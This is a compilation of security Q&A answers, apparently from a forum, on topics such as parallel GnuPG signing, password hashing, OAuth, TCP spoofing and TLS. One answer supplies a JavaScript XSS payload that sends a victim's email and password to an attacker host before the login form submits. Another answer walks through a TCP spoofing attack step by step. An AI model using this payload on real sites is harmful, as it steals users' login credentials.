Can gnupg sign multiple files in parallel?

I asked this question on the GnuPG mailing list, and got this response from Werner Koch:

This is all serialized because the gpg-agent does the actual signing.
There is one gpg-agent per GNUPGHOME.  Thus the easiest solution for you
is to provide copies of the GNUPGHOME and either set this envvar for
each process or pass --homedir=decicated-homedir-copy.  You can't use
links to the same directory because we use lock files.  However, it
should be possible to sumlink the private-keys-v1.d sub directories.

Working from Werner's answer, I was able to create a Python script which properly signs things using temporary key copies and symlinks:
#!/usr/bin/env python3
"""
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, version 3.
This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.

This Python script signs all files in a directory in parallel, utilizing all available CPU threads.

Naive use of the multiprocessing module won't work; see https://lists.gnupg.org/pipermail/gnupg-users/2020-November/064346.html
"""

import os
import fnmatch
import subprocess
import multiprocessing
import distutils.dir_util
import shutil
import stat
import argparse

def get_fileset(path: str):
    for root, _, files in os.walk(os.path.expanduser(path)):
        for item in fnmatch.filter(files, "*"):
            path = os.path.join(root, item)
            yield path

def create_worker_dirs(working_dir: str, pool_size: int):
    for i in range(1, pool_size + 1):
        dest = os.path.join(working_dir, "ForkPoolWorker-" + str(i))
        print("Generating worker dir", dest)
        os.makedirs(dest, exist_ok=True)
        for f in ['pubring.gpg', 'trustdb.gpg', 'gpg.conf', 'gpa.conf']:
            shutil.copyfile(
                os.path.join(pg_src, f),
                os.path.join(dest, f)
            )
        os.symlink(
            os.path.join(pg_src, 'private-keys-v1.d'),
            os.path.join(dest, 'private-keys-v1.d')
        )

        # fix permissions
        for r, _, f in os.walk(dest):
            os.chmod(r, stat.S_IREAD | stat.S_IWRITE | stat.S_IEXEC)

def sign_file(path: str, working_dir: str):
    worker = multiprocessing.current_process().name
    print(worker, "signing", path)
    worker_working_dir = os.path.join(working_dir, worker)
    r = subprocess.run(['gpg', '--homedir', worker_working_dir,
                        '--quiet', '--batch', '--yes', '--detach-sig', path])
    if r.returncode != 0:
        print("Error signing file", path)
        print(r.stderr)
        return False

    return True

def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("dir", help="The directory to sign.", type=str)
    parser.add_argument(
        "pool_size", nargs='?', help="The number of workers to launch. Defaults to the number of available CPU threads.", type=int, default=-1)
    return parser.parse_args()

if __name__ == '__main__':
    args = parse_args()
    files = get_fileset(args.dir)
    pool_size = args.pool_size if args.pool_size != -1 else multiprocessing.cpu_count()

    pg_src = os.path.expanduser('~/.gnupg')
    working_dir = os.path.join(os.path.dirname(
        os.path.realpath(__file__)), 'gnupg-tmp')
    os.makedirs(working_dir, exist_ok=True)
    create_worker_dirs(working_dir, pool_size)

    with multiprocessing.Pool(processes=pool_size) as pool:
        results = [pool.apply_async(
            sign_file, (file, working_dir)) for file in files]
        if all([result.get(timeout=10) for result in results]):
            print("Signing completed successfully.")
        else:
            print("Signing error!")

    shutil.rmtree(working_dir)


When should you give up on attempting a xss on part of a website?

It depends on how you are contracted for the test. If you work on the program anyways, then you can try as long as you feel that it gives you any value.

If you work is restricted by a certain amount of time, then I would say use your gut feeling to judge if this is the best you could spend your time.

I know this is probably not the answer you want to hear, but it really depends on the specific instance, and it's not really possible to make a general statement. Depending on your guidelines for reporting, you might be able to report that you believe that a certain output is not encoded properly, but you did not have enough time to fully develop a Proof-of-Concept.


When you configure a VLAN on a local network it's as if you have differents locals networks between your hosts.
So if you sniff the traffic on a particular VLAN you will see only the hosts which are conected on this VLAN and not the others hosts of your network. On the switch which manage VLAN you will have a ARP table per VLAN.

Moreover, you can use the privates VLANs to improve your local security.


How to get private key from certificate and base 64 encoded key?

The certificate contains only the public key. By construction, it is not feasible to extract or recompute the private key from the public key.


If someone transfers money from a bank account to a prepaid master card, can he trace the master card back

Not if you're a normal civilian, since we don't have access to bank transactions. If you're being tracked by the government (maybe under some process investigation), the government can request the bank your bank transactions, and maybe track down the origin of the pre-paid debit card to you.


How to increase the time for an offline password attack

I think that you are overthinking the question. You do not need to understand proper password handling to answer this. Work through each logic flow.

A: You recursively hash sha(key + password) 5000 times, so this increases the work someone has to do to crack it by 5000. Work = 5000

B: You just set password to the same value 10000 times, so it is equivalent to just password = sha256(key) which is a single hash function. Work = 1

C: The password is not hashed at all, it is left in plaintext with hashes appended to the end. This is obviously the worst possible answer. Work = 0

D: This is a single hash function with 2 steps, so it is a tiny bit better than B, but not really. Work = 1


Client's Personally Identifiable Information (PII) in the Cloud

Cloud services such as Office 365 can be far safer than using your own or a suppliers data centre facilities.

So yes, you can of course put client data on cloud services. But will they be happy? Hmm. And will you be meeting their regulatory requirements?

Well only you/they can answer that.

Look for security certifications related to the regulatory environment your client has to work in. Get buy in from the Information Owners by carefully explaining the benefits, risks and mitigations. Look for other similar organisations that may have followed the same journey. Check with relevant government agencies on their views.

BTW, Office 365 is particularly good at this. Their certifications are second to none and they have world class security processes. Microsoft really understand government and enterprise security requirements.


OAuth2 - Benefits for using Grant-Type:Password for machine-to-machine web-service calls

As described in the section 4.3 of the RFC6749 (here)

The resource owner password credentials grant type is suitable in
cases where the resource owner has a trust relationship with the
client, such as the device operating system or a highly privileged
application. The authorization server should take special care when
enabling this grant type and only allow it when other flows are not
viable.
It is also used to migrate existing clients using direct
authentication schemes such as HTTP Basic or Digest authentication to
OAuth by converting the stored credentials to an access token

In sum, you can use it if you have a strong trust relationship with the client application OR to "update" legacy applications in such a way as to avoid the use of authorization methods in the original HTTP spec and to benefit from stuff like scopes, expirations that you cannot guarantee with a simple basic auth
So to answer your question: No, you are missing nothing, the Grant-Type is not suitable for modern applications.


On a server to server SSL connection is there any trustable information identifying the calling server?

What you are talking about is called authentication: A needs to prove that it is really A.
One of authentication methods can be authentication based on client certificate (when A want to use some service of B, the we say that A is a client of B).
Another method, much simpler, can be usual User/password authentication. The services that B provides should require authentication. All possible clients should be known to B, e.g. should be contained in some registry or database on B, so that B can check if particular user is known and that the password is valid.
If there are more clients that can call services of B, every client should get its own user/password.
Thus, when B receives some request, it checks credentials and, if check was successful, executes the requested operation, otherwise returns some error.


Is it possible to spoof a paired Bluetooth device?

It has been in the past with various devices. It entirely depends on the BT version and implementation on the device. Modern versions of BT (4.x) have good feature sets to prevent these things from happening but most implementations will downgrade to an insecure setting to facilitate connection with an older device.

There are also implementation errors that lead to a new device leaking the pairing key that is supposed to secure the connection from spoofing.

READ THIS:
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-121r2.pdf

THEN READ THIS:
https://null-byte.wonderhowto.com/how-to/hack-bluetooth-part-1-terms-technologies-security-0163977/


Why send HMAC in reverse direction when performing verified DH with downgrade protection?

Regarding your remark at 1.: Schemes might also mean different DH schemes, for example different groups or generators. This includes different prime fields or even elliptic curves.
As for your main question: Until Bob sends the message in 7. Alice does not know that Bob knows the shared secret. An adversary might have just replayed a previous B from Bob including the signature. Alice will calculate K and think that she is talking to Bob but he was not involved at all. This is often overlooked because we usually assume that the K will be used after the key agreement and that it will somehow be obvious if the other party does not have it. The general idea here is to make sure that both sides have seen exactly the same conversation. See here.
Regarding your question in 6.: If Alice sends a MAC over all the messages some nonce needs to be added otherwise Bob can just return the same message in 7. so they probably mean something like "all received" or "all sent".
As people pointed out in the comments this is nonsense as long as Bob has to send a MAC over all messages including the MAC he received from Alice in 6.. (Thanks!)
I don't see an obvious reason not to swap 3. and 4. either.


Yes, there are several such libraries.  The choice of library depends upon what language/web programming framework you are using.

First, you need to start by reading about XSS.  I recommend the following document:

OWASP XSS (Cross Site Scripting) Prevention Cheat Sheet

Next, once you have familiarized yourself with that, I can point you to a few libraries that provide well-tested escaping functions:

OWASP ESAPI
Microsoft AntiXSS

However, let me warn you that using these functions properly requires developer knowledge, and is potentially error-prone.  There are many different parse contexts where dynamic data might be injected into HTML, CSS, or Javascript content; each parse context may require a different escaping function (or sequence of escaping functions) be applied.  The developer needs to make sure to apply the correct escaping function(s) each time he/she injects dynamic data into such content.  This requires knowledge of the XSS risks and how to defend against them.

This approach (manually escaping data everywhere it is used) is also error-prone.  It is easy to forget to apply an escaping function.  If you have 100 places where you include dynamic data in the document, it would be easy to remember in 99 places and inadvertently forget to escape in one of them.  We're only human, and those kinds of mistakes are easy to make.  Libraries of escaping functions don't help developers avoid this problem.

A better solution is to use a web programming framework that helps developers avoid this problem.  The state-of-the-art is context-sensitive auto-sanitization.  This works particularly well with frameworks that provide a HTML templating system.  In such a system, the template engine is responsible for automatically escaping all non-static data that is interpolated into the template.  Because the template engine can identify the parse context where the data is being dynamically inserted, the template engine can automatically select and apply the proper escaping function.

The primary issue with context-sensitive auto-sanitization is that only a few web programming frameworks currently support it.  Some web frameworks that do support context-sensitive auto-sanitization: Google Ctemplate (Closure templates), GWT, Google Clearsilver.

For more on this topic, I can highly recommend the following research paper:

A Systematic Analysis of XSS Sanitization in Web Application Frameworks, published at ESORICS 2011.


Dealing with credit card data that is not charged directly

Well if your wholesaler does not offer an automated way to process data, you're going to have a hard time not storing the credit card info. This means that you probably will also have to get SAQ-D.

Storing a token of a card is not the same as storing the card details. In your case you will have to store the PAN and Verification code for as long as the transaction (in this case charge by the Wholesaler) isn't made. Storing that data is what you want to avoid. A token is a lot better in this case. You will still have to be very careful how you store these tokens, but since you  do not store sensitive CC data, you are not required to get SAQ-D.


Which attacks can a malicious hosting company execute?

Ok, in case of a VPS the ENTIRE server can be compromised, as one can clone and dump the state of the machine any time she wants. Even if you were to use encryption on disks, the keys would be in the memory and easy to retrieve. You could write your own patches to the system, but this would be StO.

If, however you owned the box, and just co-located it, you could, in theory have a much safer environment. Intrusion detection to the case and disks. Keys locking physical access to the front panel and hot-swappable disks. If you want real security go for this option.


iPhone Tracking debacle - risks and countermeasures

I dunno, the following seems like an easy way to get information on someone, without much work at all.

From http://www.wired.com/gadgets/wireless/magazine/17-02/lp_guineapig?currentPage=all

  To test whether I was being paranoid, I ran a little experiment. On a sunny Saturday, I spotted a woman in Golden Gate Park taking a photo with a 3G iPhone. Because iPhones embed geodata into photos that users upload to Flickr or Picasa, iPhone shots can be automatically placed on a map. At home I searched the Flickr map, and score—a shot from today. I clicked through to the user's photostream and determined it was the woman I had seen earlier. After adjusting the settings so that only her shots appeared on the map, I saw a cluster of images in one location. Clicking on them revealed photos of an apartment interior—a bedroom, a kitchen, a filthy living room. Now I know where she lives.


This means that you are most likely trying to run 64-bit version of Kali on a 32-bit CPU. Try downloading and using a 32-bit version of Kali.


Answering Question 1:

I'm not sure what the connection to Ruby on Rails is, but your PGP Public Key provides your users (presuming they also use PGP) with two things:

A means of verifying e-mails they receive from you, which include your PGP signature.
A means of sending e-mails to you, using PGP encryption.

However, both of the above do not offer much assurance unless the end-users can verify that the PGP Public Key posted on your site is actually yours.

  Tangentially related:  Does hashing a file from an unsigned website give a false sense of security?

Certainly, the users could use that Public Key for either of the purposes mentioned above.  However, without authentication of the key itself, they cannot know for sure that received e-mails are being sent by you or that the e-mails they send aren't being actually decrypted and read by someone else.

Answering Question 2:

This can be done by one or a combination of two means:

Implement SSL on the site that hosts your PGP Public Key.

(Not quite valid for your attack scenario - see comments.)

Get your key signed by other PGP users (Note, that's users - plural - more is better.), so that it joins and can be verified with a Web of Trust.


What comprises the AIS-31 standard for TRNGs?

BSI: Application Notes and Interpretation of the Scheme (AIS) 31 – Functionality
Classes and Evaluation Methodology for Physical Random Number Generators,
Version 1 (25.09.2001), English translation.

BSI's AIS site is here.

Standard is here.


How can alleged illegal downloading be detected?

As others mentioned, honeypots on p2p give the IP.  Once they have the date, time and IP their lawyers send the ISP a letter asking for the subscriber information.

What the ISP does is their own business.  They might decide that it's too costly to deal with these lawyer's letters and wait for legal action, or they might decide to forward you a cease and desist, or they might hand the information over.   A letter from a lawyer is relatively cheap, can be issued as a form letter, and can really say anything plausibly legal and plausibly ethical.

Privacy laws can limit what information ISPs can give out and most ISPs retain the data for very short periods of time.


How do i validate that a PGP Public Key the user inputs is valid?

You might want to try using pgpdump to test if the format of the public key that the user entered is valid.  See https://superuser.com/questions/696941/human-readable-dump-of-gpg-public-key for more information.


Question regarding data encryption/decryption and sharing said keys with third party's

It actually seems simple to me. You have described pretty thoroughly your needs.
Basically, you create a storage where

you encrypt each item separately (so that you can only give the SSN of jdoe to company A)
each individual field obviously needs its own IV, we don't want the encryption of an address named 'George Washington' to be the same as of the name 'George Washington'
I would probably use AES-GCM so that you have authenticated encryption, getting rid of the hashes of your description (plus, they can be problematic, for a field 'Has ever collected welfare', the values hash('yes')  / hash('no') are only a weak  obfuscation)
when sharing with a Company, the user authorizes you to share part of the vault with Company A (through OAUTH, for instance) and provides directly to the company the random vault key it was shown.
you can even have have the encryption happen with javascript at the user browser, so _your company never sees the data

you need to authenticate the users in your app (so that I cannot share your vaulr with company Z), shall obviously use a library that provides the proper encryption routines (in this case AES-GCM), etc. but in general, should be relatively straightforward.


Does an attacker need to guess or brute-force a password for TCP spoofing?

TCP Spoofing is a technique used by attackers to mimic your source connection to any target host.
Whether the attacker would need to gain initial access to the system or network...
Yes, the attacker would need to gain access either to your network or your system to initiate the attack. The attack carried out over WAN can the the IP Spoofing attack, but that too has limitations.
The attacker, once infiltrated into your network, can sniff down the traffic and (apparently) your device's connections to the external hosts and can yield down sequence numbers of your TCP endpoint.
Sequence numbers can have lower entropy, thus they can be bruteforced easily. The attacker can spoof down your TCP endpoint if the sequence numbers are predictable. Many Operating Systems have tried to patch this and make the sequence numbers as random as possible, but still the threat remains of getting TCP-Spoofed despite this randomization.
LAN routers can have Source Routing enabled, which can enable traffic to route from one local device to another local device inside the network. This can be the main reason for the attack to accomplish. If source routing is disabled, the attack would not succeed.
How TCP Spoofing works?
Let's say I'm an attacker X, my victim is Y and the target host is Z. The attack mostly initiates in the in.rshd daemon in the destination header Z. Systems accept the socket options via getsockopt(), and can drop any malicious requests on the socket with setsockopt().

If I want to request to Z by the source address of Y, I will need to first feed the destination header request with the sequence numbers of Y. (which I can fetch from requests beforehand)

I will send the SYN packets to the destination header and the server will initiate the second handshake and send SYN-ACK packets to Y. The server Z will initiate a PCB(Protocol Control Block) to handle the connection.

I again will spoof the packets pretending to be Y to the destination server using the sequence numbers. This time, source routing isn't required on this step. Sometimes, I'll need to flood down ports of Y inorder to send a large amount of data, to prevent Y from responding with an RST(Unavailable or Unreachable).

After sending the ACK packets to the destination header, now the accept() call completes and the destination header (Z) checks for the IP options associated and if the connection is source-routed, it disables the connection and now Y is connected to Z without any interference of X.

Now if I know the next sequence number of Y, I can request other destination headers again from the sequence numbers.
The impact of the attack can be the execution of arbitrary code in a request as root depending on the configuration of the target system. It is necessary that the TCP endpoint and the destination header involves trust, either by using .rhosts files or hosts.equiv files.
To prevent TCP Spoofing to occur,

Prevent any suspicious IP Address to lure around in your network other than the devices connected. This can be done by monitoring the network's activity often.

Disable Source Routing from your admin panel so no rogue requests could be made/routed across the network.

For any further reference, check out this presentation by CasoDiStudio.
Hope this helps!


If you have FileVault encryption enabled on your Mac and your system goes into standby mode, it will save the FileVault encryption keys in the memory so the system can be quickly woken and resume work without needing to unlock the volume again. This feature is convenient, but some people may wish to prevent it from happening in order to ensure maximum security for their systems.

To prevent the system from storing the keys, you need to change a small setting in the system management controller (SMC), which can be done by running the following command in the OS X Terminal program:

sudo pmset -a destroyfvkeyonstandby 1

When you run this command, you will need to supply your password (it will not show), and then restart your computer and the system will no longer store the FileVault keys when it goes into standby mode.

Keep in mind that doing this will require you to enter your FileVault password again when you wake your system from standby mode, but will prevent someone from potentially getting to your hard drive's data if you leave your system in this mode without fully shutting it down.

To undo this setting, simply repeat the command but use a 0 instead of a 1 as the value.

Source: Prevent OS X FileVault keys from being stored in standby mode


Can use this security system on websites?

Don't forget AviD's Tenet of Usability:

  Security at the expense of usability comes at the expense of security.

This is what makes this scheme unusable, for any security properties it may have over any other form of password.  It would be simply inconceivable to expect for people, who have as many issues as we have with simple passwords, to try and cope with random new algorithmic password schemes that require not only remembering a password, but remembering an algorithm associated with the password, and plugging in a new set of variables every time you need to use the password, and calculating it correctly.  The entire idea is a disaster of complexity.

Ultimately, this is a (relatively) solved problem.  Multi-factor authentication is the solution.  It's secure above and beyond simple passwords, and far less novel and complex than what you propose.

There are very specific scenarios where this scheme might be useful, but common services are not one of those scenarios.


My server was used for sending spam. Will our server ever be trusted again?

I'll forego the scolding about enabling SMTP on an IIS server -- I'm sure that you've already told yourself everything I could think of saying, possibly several times over -- and just focus on your current problem.

Most reputable spam blacklists these days have automated or semi-automated removal mechanisms in place already. You can just contact, say, spamhaus or spamcop and use the removal process on their websites to have your IP address provisionally removed from their blacklists.

NOTE: DO NOT DO THIS IF YOU AREN'T CERTAIN YOU ACTUALLY DID CLOSE THE SPAM LOOPHOLE. If you tell them you cleaned it up and they receive more spam, they'll automatically drop you into the "lied to us about having cleaned up his act" category and that one's harder to get out of.


Why do websites use HTTPS when they don't need to?

One answer is that SSL also prevents/deters MITM (Man-In-The-Middle) attacks.  In theory, SSL ensures that the message originated from XKCD and arrived to you without being tampered.  A bad actor who can intercept traffic between you and XKCD cannot inject code to run on your machine.

Just based on the comments, being able to inject code to run client side is quite powerful.  You can glean a lot of information from this.  Furthermore, you can force a client browser to talk to pages/sites that it normally wouldn't.

I do want to note, however, that SSL is not 100% in this case and there attacks such as sslstrip that can work around the fact that SSL is being used.


Malicious programs that takes advantages of Windows vulnerabilities

The goal of a piece of malware is to stay on your system for as long as it can.  To do this it takes a number of steps, and often just having user administrative privileges is not enough. Gaining execution is only one step.  If the malware is lucky enough for the user to execute it it can not assume that it has admin rights.  In which case, exploitation of a vulnerability is needed.  It can check Windows permissions, but the account permissions in Windows is a complicated subject.

At the point of having user admin credentials the malware can often write files, and registry values.  There are lots of persistence techniques that can be used, but writing registry keys or executing files on boot are among the easiest to detect and remove.  For modern operating systems you need to go further with SYSTEM level privileges.

Just being an administrator doesn't give you total access to the system, and the next level would be to exploit a vulnerability to allow SYSTEM level access.  This would give the attacker enough control to install a rootkit at a lower level.  Rootkits take many forms, and in modern operating systems it is getting harder to install these types of malware within the boot process.

Exploiting vulnerabilities takes many forms.  Not all vulnerabilities lead to remote code exeuction.  Some of them can lead to memory address leaks which are helpful in defeating ASLR, and some just give you an escalation in privilege.  Malware uses vulnerabilities for its specific purpose, and all of them linked together can create an annoying piece of software to get rid of.


Trouble trying to understand SET protocol

The dual signature is encrypted with the customer's private key, so the banks can use the public key to decrypt it. The contents of the dual signature is a hash of the digest of the purchase order and the payment info, and anyone with both digests can reproduce that value.

The merchant gets the purchase order and the digest of the payment information, so the merchant can produce the PO digest. Thus they can take that and the PI digest, hash them together, and verify whether or not it matches the decrypted dual signature.

Your bank gets the payment info and the digest of the purchase order, so your bank can produce the PI digest, and hash that with the PO digest. They can then verify that matches the decrypted dual signature.  In your scenario, they're the ones that find out you've lied to them because the hash they get of the PO digest and the digest they make from the PI doesn't match your dual signature.

If the two sides don't get the same signatures, they can tell there's a difference when they talk by comparing them. If there's a difference in the documents you gave each party and the digest you gave the other party, then one of the sides won't get a match between their hash of the two digests and what was in your dual signature.

They could also just compare the digest they were given with the digest of what the other party was given, because they're allowed to talk with each other. They're just not allowed to give the unhashed documents to the other.

The transaction ID is only necessary for them to compare notes on what they're talking about.


Would running different functions on virtual machines on the same server make me compliant with PCI DSS requirement 2.2.1?

Short answer yes, but vms add an additional layer of complexity.

Long answer:

A hypervisor creates an additional attack surface. Not only do you have to worry about the traditional risks that exist in a physical environment, but now you have to worry about the hypervisor itself. If it is compromised, all components of the system are therefore compromised. Misconfiguration of the hypervisor could result in a single point of failure / compromise that now affects every VM on it. So, you have to make sure that you (at a minimum) restrict it according to least privilege, "need to know" and make sure your monitor it (but that's another problem because VM monitoring is not as mature as traditional...)

The additional layers of complexity that result from dealing with a VM (especially if you put a virtual firewall in) give you more of an opportunity to make a mistake.

You also have to make sure you setup user accounts correctly. Misconfiguring the VM users and accidentally allowing too many privileges to a given user, (potentially) gives them access to LOTS more than your simple mistake.

Then you have to worry about old VMs that are "off" and unused. Power cycle the box, and forget that it's set to autostart and you've added a machine to the network that isn't being maintained.

Snapshots add another problem. Sure, it's nice to do a snapshot for an update to prevent the update from taking down the whole system, but you have to be careful that you properly manage that so you don't accidentally leave payment card information vulnerable in the snapshot.

Information may also leak between components, so you have to gaurd against that as well.

And, of course, the hypervisor itself is yet another thing that must be updated, maintained, and secured on a regular basis.

So, there is a trade off between the convenience of using a vm box to host your components and the added complexity and tasks required to keep it secure.

So, long conclusion: sure. You can make it PCI compliant. It just takes a little more effort to deal with the complexities.


"given that there are locksmiths, what's the point of locking your door?"

Just because something has limitations doesn't mean it's useless. Those services cost money, maybe more money than an auto-registered account is worth. There are also classes of attackers who don't have access to those kind of services. InfoSec is often a numbers game, and capthas are a cheap (not perfect) way to give bigger numbers to the good guys.


XSS payload to capture login credentials

I would make some amends to your script:

img = new Image();
img.src = "http://192.168.2.25:8080?" + "email=" + escape(email) + "&" + "password=" + escape(pass);
setTimeout('document.forms[0].submit();', 3000);
return false;

This should send the data to the attacker's page and then submit the form after 3 seconds, once  the browser has had chance to send the credentials to the attacker.


How secure is this authentication approach compared to hashing?

Yes, there is a drawback, even if it’s „only“ a practical one (yet I perceive the collision rate (wrong password derived a key that decrypts to something following the syntax you expect) to be higher in your scheme, but I didn’t to the maths, because the other drawback is prevalent).

There are way more moving parts in your scheme than in the usual password hashing. This means more things can go wrong, especially if you implement this yourself. Using a hash function is easy in comparison to using a block cipher.

Implementations and examples on secure hashing for passwords are easily available while an implementation of your scheme would be somewhat special, offering way more pitfalls in implementation.

Additionally, this would allow attackers that have the database to crack the users passwords maybe as easy. Depending on which hash function and salting you use, AES, that is mostly implemented in hardware, is fast in comparison - and only one block would be a good indicator of correct decryption.


Standard ways that sites use Base64 hash/checksum for security/authorization

Most likely the checksum is just that - a check to make sure that none of the parameters changed in transit.  The simplest way to do something like that is with a SHA256 (or even) MD5 hash of the URL parameters.  For something like this, even MD5 can be a reasonable choice for hashing algorithm (we're not talking passwords here).  A hashing algorithm is used because if you change a single character you change the output hash, and (even with MD5) it can be difficult to find another set of inputs that will match the given output.

With a hash function you will absolutely get gibberish if you base64 decode the results.  The hash function is effectively generating "random" bits of data, so there is a small chance of generating ASCII characters with the raw binary data itself.  Instead you get gibberish.  That's okay though, because the exact value of the hash doesn't matter - just that whoever takes the GET data on the other end and hashes it gets exactly the same hash as what was passed along in the request.

I'm not sure off the top of my head what hash function would generate a 28 character string when base64 encoded (MD5 generates 22 or 24 character strings).  It could be a custom hash.  It could be something else all together, but best guess is it is just the output of some kind of hashing algorithm.


Does services provided by different companies for DDoS protection work well?

Distributed Denial of Service attacks work because they use multiple (sometimes thousands) of hosts sending traffic to your site to overwhelm your resources. This is not something you, as the target, can remedy. Cloud services, like the ones you mentioned, modify and limit the traffic to your site, and to do that, they need access along the path between your visitors and you.

Yes, there are ways to deal with DDoS on your own, but you can't stop or redirect the traffic. You can spin up a new site, on a new IP and URL, on a different hosting service, but your valid visitors won't be able to find you. It is also easy for the attackers to redirect their attack to the new site. You could change ports, shut down the service, or play with DNS tricks, but these are temporary solutions and have limited effectiveness.

"Is it necessary"? That's going to be up to you and the risks you have determined for your own site. If you can deal with a site that is overwhelmed for a while, then you do not need to pay for a service and wait out the attack. That decision is entirely in your hands.


I can't find a public source for SNMPing, but you might be more interested in more robust options. My personal favourite is onesixtyone. It pings, as well as brute-forces community strings (if you want to do that).

There is also snmpwalk and snmpenum which can read the information from the system.

All 3 of these tools are available on Backtrack, but if you are looking for Windows versions (as SNMPing was win32), you can find various parts of these tools here, but I cannot vouch for them.


How to extract session key from trace file?

If you only have a packet capture from a TLS session, then you will not be able to decrypt the traffic. A packet capture is the result of a passive attack where an attacker is just looking at the network traffic. If this would be sufficient to decrypt traffic, it would make TLS rather useless.

In modern configurations, the client and server will use a Diffie-Hellman key exchange to establish a shared secret (the TLS premaster secret). Each side generates a private value and computes the corresponding public value. The public value is sent over the network, and each side uses their own private value to establish the same shared secret. As the private value is never sent over the network, an attacker cannot calculate this secret.

Now, if you actually control the client (or server), then you could read keys from memory or modify the program such that it saves the (pre)master secret. With Firefox and Chrome, you can set environment variable SSLKEYLOGFILE to a file path and have all master secrets written to it. This file can then be loaded into Wireshark in order to decrypt the TLS traffic of your client.


How to protect data of users in multi-user site?

Are prepared statements enough to prevent SQL injection attacks?

Doubtful, I would not rely on prepared statements only. Input validation is still required and highly recommended. Determine what input you expect in a field and act on it accordingly.

For example, in a name field you should not expect characters such as ">" or "<". However, a character like a quote is expected and should be properly dealt with.

  Do professionals store such information in database in encrypted form?

This depends on the type of data and its classification, generally not all fields are encrypted. In case of credit cards for example, they are required to be encrypted.

The location of the decryption key is another thing to consider. If the key is stored on the same machine where the encrypted tables are stored, an attacker could possibly get this key as well.

A SQL injection attack can also lead to shell access and does not necessarily always mean the extraction of the data located in the database. If the key is stored on the same machine, an attacker could retrieve both the encrypted data and the decryption key.

Note: Encrypting data in a database should not be considered a solution for SQL injection attacks.


IIS Application - service account permissions

The only one of those that is even potentially a major risk is starting services, because services run as their own user instead of inheriting the security token of the process that started them. If the service account can launch more-privileged services, especially if any of them take parameters and/or otherwise consume data that the service account can tamper with, then that is a definite risk.

Everything else is just stuff that an attacker (who manages to compromise the application), or the application itself (if it is malicious) could effectively already do. If a malicious actor already controls code running on your machine, there's not really any need to spawn a new process with the same security token (which is what happens when you launch an EXE or BAT file), although it would make post-exploitation easier. Starting services means running code with different permissions, though, and that's potentially enough to break out of a low-privilege service account and take over the whole, ahem, "SYSTEM".

Obviously you shouldn't give your sandboxes any privileges they don't need - for example, Chrome's render processes cannot launch child processes, even though their permissions are so limited it would barely matter - but as long as the access restrictions on the service account are tight enough it's no big deal to be able to launch EXEs (including cmd.exe, which is all that "Run .bat files" actually does) and if the permissions of the service account are too broad, an attacker who gets code execution within the application won't need any other processes.


The best I can find is from a draft version 2 of X.509 Internet Public Key Infrastructure Online Certificate Status Protocol - OCSP proposal, which later became RFC 2560.  It states that:

  The requester signature is used to authenticate the requester to the
  OCSP Responder.  It is used in conjunction with the requester
  certificate extension defined below.

This document is also the first instance of the signature in the ABNF breakdown of the request.  Later versions of the document say even less about the subject.

The signature has to be optional as many (if not most) relying parties will not have a public/private key pair with which to sign the OCSP Request.

In addition to this vagueness, the The Lightweight Online Certificate Status Protocol (OCSP) Profile for High-Volume Environments protocol defined in RFC 5019 says the following about signed requests:

  Clients SHOULD NOT send signed OCSPRequests.  Responders MAY ignore
  the signature on OCSPRequests.

In neither documents is there a reason for expecting a client to sign the request.


Conversion specifiers - a, A, e, E, f, F, g, or G - for long double arguments can be used to get 64 bits at a time.

Basically, printf("%a") will get 64 bits from the stack and convert them to a Hexadecimal Floating-Point Constant.

More info about Hexadecimal Floating Point Constants - http://www.exploringbinary.com/hexadecimal-floating-point-constants/


mutual authentication between two clients

"Client" and "Server" are just formal names for roles in situations where there is a natural asymmetry. Namely, one talks first: that's the "client".

This is how it goes in SSL: the protocol is defined to operate on a bidirectional transport medium. One of the entities talks first and sends a ClientHello message. There is no absolute requirement that the notion of "client" and "server" that SSL uses matches the notions of "client" and "server" for the underlying connection when that connection is a TCP socket over the Internet. It just happens to be that way.

In all generality, any authentication protocol between two systems (let's call them "A" and "B") works by sending messages to each other, and one of the systems will be the first to talk. As long as both A and B know who is supposed to talk first, through some convention, then the protocol will work. The convention is easy to obtain when there is an asymmetry, e.g. the software on one machine is not the same as the software on the other. For instance, for the Web, one system uses a Web browser (e.g. Firefox) while the other uses a Web server (e.g. Apache), and standards define what either is supposed to do.

Just imagine a phone call. Someone dials the number of the other. Normal behaviour is that the person who receives the call will talk first (and say "hello"). That's exactly the concept you want. If these two talking person want to run some authentication protocol, they will have to agree on their respective roles (they can call themselves "client" and "server" if that's their wish). Using the dialer/receiver asymmetry is a natural way to bootstrap that convention. But they could use just any other convention; for instance, they could use the lexicographic order of their names (Alice is the "client" and
Bob the "server" because 'A' is before 'B' in the alphabet); or their birth date; or they may try randomly; or whatever.

That being said, in the specific case of SSL, there normally are certificates and the machine with the "server" role shows a certificate to the "client"; the "client" may also show a certificate to the "server". Certificates prove bindings between keys and identities, but this has any value only if the identity has some meaning. I.e., when the server shows its certificate to the client, the important point is that the server's certificate contains the server name, and the client expects a very specific server name (the one from the URL). Similarly, when the client shows its certificate to the server, this makes some useful authentication only if the server can find in the certificate some notion of identity which makes sense for him.

A more interesting situation with SSL is SRP: with this variant, no certificate at all. Client and server authenticate each other relatively to their knowledge of a shared secret (a password). They still must agree on who talks first ! And there is an extra point, which is the entity with the "server" role does not need to store the password itself, only a hashed version thereof (with some algebraic structure). In that sense, who assumes the "server" role is not completely arbitrary with regards to security: even in a mutual authentication protocol, security characteristics achieved on both sides may differ.


Should I really salt in a RSA/AES hybrid connection?

You only need to hash and salt passwords that you store on a server for user authentication. In your case, you have a random key that will only be used for a connection's lifetime, so a salt would be useless.

Also keep in mind that your protocol doesn't provide authentication and is likely vulnerable to two dozens catastrophic attacks. We already have TLS for establishing a secure connection : use that if you want serious security (and don't make your own implementation : these require as much experience as the protocol itself).


How original PDF books get out of the publisher's reach and appear online for pirate downloads?

A combination of things could contribute, with a particular book being some/all/none of these, or something else entirely. Here are a few of the ways books could "get out" into the wild

People inside the company selling the books "on the side"
People inside the company taking the book home for personal use and then giving it to a few family members or putting it online
Review copies being sent out and shared by the reviewer
Screenshots of the eBook - if you can display it, you can screenshot it. Like a scanned copy, but without the loss in quality
"Ripping" the book - ie taking the proprietary copy and extracting the contents
